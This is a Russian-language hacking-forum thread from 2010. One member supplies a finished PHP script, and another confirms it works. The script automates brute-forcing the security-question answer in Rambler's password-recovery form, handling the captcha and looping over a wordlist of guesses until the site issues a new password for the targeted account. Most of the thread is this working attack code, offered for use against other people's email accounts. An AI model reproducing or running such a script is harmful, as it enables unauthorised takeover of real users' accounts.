Допилите скрипт. PHP

Discussion in 'PHP' started by petryxa, 23 May 2010.

  1. petryxa

    petryxa Banned

    Joined:
    16 Apr 2009
    Messages:
    0
    Likes Received:
    66
    Reputations:
    2
    Допилите пожалуйста скрипт https://forum.antichat.ru/thread182331.html
    нужно исправить вывод капчи.
    скрипт очень нужен помогите пожалуйста.
     
  2. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Опа))) наш скрипт оказался еще кому-то нужен))) Ну раз так, то вот для тебя исправил)))
    лови

    PHP:
    <?php
    // (c)Kusto & zifanchuck V2
    //for forum.antichat.ru
    set_time_limit(0);
    function 
    curl($url,$post)
    {
    $cfile 'cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1. Gecko/20100202 Firefox/3.5.8");
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    }


        function 
    read($path)
    {
       
    $file=fopen($path,"r");
       
    $bufer fread($file,filesize($path));
       
    fclose($file);
       return(
    $bufer);
    }

    $file 'my.txt';
    $domain $_POST['domain'];
    $login $_POST['login'];
    $captcha $_POST['captcha'];
    $id $_POST['id'];


    if(!
    $domain||!$login||!$captcha||!$id)
    {

    $result curl('http://id.rambler.ru/script/reminder.cgi','');
    $result iconv("utf-8""windows-1251"$result);

    //получаем адрес каптчи
    preg_match('#<img id="secimage" src="http://id.rambler.ru/captcha/(.*).jpg"#iU',$result$cap);
    $id=$cap[1];

        echo 
    '<form method="POST">
                <p align=center>
                    <label for="id-login">кого брутим?</label>
                    <span class="indicator">
                        <input type="text" class="text" name="login" />
                        <select id="id-domain" class="text" name="domain" tabindex="1">
                            <option value="rambler.ru"  >@rambler.ru</option>
                            <option value="lenta.ru"  >@lenta.ru</option>
                            <option value="myrambler.ru"  >@myrambler.ru</option>
                            <option value="autorambler.ru"  >@autorambler.ru</option>
                            <option value="ro.ru"  >@ro.ru</option>
                            <option value="r0.ru"  >@r0.ru</option>
                        </select>
                    </span><br>
                    <img id="secimage" src="http://id.rambler.ru/captcha/'
    .$id.'.jpg" width="300" height="60" alt="Введите показанные на картинке символы" border="0" title="Введите показанные на картинке символы"><br>
                Капча:<input type="text" name="captcha" value="" /><br>
              <input type="hidden" name="id" value="'
    .$id.'" />
                <input type=submit value="ПОЕХАЛИ!!!"></form>'
    ;
        exit;
    }
    else
    {
    $answers explode("\r\n",read($file));

    $result iconv("utf-8""windows-1251"curl("http://id.rambler.ru/script/reminder.cgi","action=question&skin=id&back=&back_immediate=&uniq_id=".$id."&user.password=&user.login=".$login."&user.domain=".$domain."&user.captcha=".$captcha."&done=%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0    %B8%D1%82%D1%8C"));
    preg_match("#indicator\"\>\<strong>(.*)\<\/strong#iU",$result$qves);

        if (
    $qves[1])
        {
        echo 
    "<B><U><FONT SIZE=5 COLOR=GREEN>$qves[1]</FONT></U></B></br>";

            for(
    $i=0;$i<count($answers);$i++)
            {
            
    $fam $answers[$i];
            
    $bien iconv("utf-8""windows-1251",curl('http://id.rambler.ru/script/reminder.cgi','action=password&skin=id&uniq_id='.$_POST['id'].'&back=&user.password=&user.answer='.urlencode(iconv("windows-1251""utf-8",$fam))));
            if (
    strstr($bien"новый пароль")) { echo " поздравляю ответ подобран $fam";exit;}
            else {echo 
    "ответ $fam не подошел <br>";}
            
    flush();
            }

        }
        else
        {
                echo 
    '<form method="POST">
                <p align=center>
                    <b>Неправильно ввели каптчу!</b><br>
                    <label for="id-login">кого брутим?</label>
                    <span class="indicator">
                        <input type="text" class="text" name="login" />
                        <select id="id-domain" class="text" name="domain" tabindex="1">
                            <option value="rambler.ru"  >@rambler.ru</option>
                            <option value="lenta.ru"  >@lenta.ru</option>
                            <option value="myrambler.ru"  >@myrambler.ru</option>
                            <option value="autorambler.ru"  >@autorambler.ru</option>
                            <option value="ro.ru"  >@ro.ru</option>
                            <option value="r0.ru"  >@r0.ru</option>
                        </select>
                    </span><br>
                    <img id="secimage" src="http://id.rambler.ru/captcha/'
    .$id.'.jpg" width="300" height="60" alt="Введите показанные на картинке символы" border="0" title="Введите показанные на картинке символы"><br>
                Капча:<input type="text" name="captcha" value="" /><br>
              <input type="hidden" name="id" value="'
    .$id.'" />
                <input type=submit value="ПОЕХАЛИ!!!"></form>'
    ;
        }
    }
    ?>
     
  3. Imation

    Imation New Member

    Joined:
    7 Jan 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Спасибо, работает великолепно!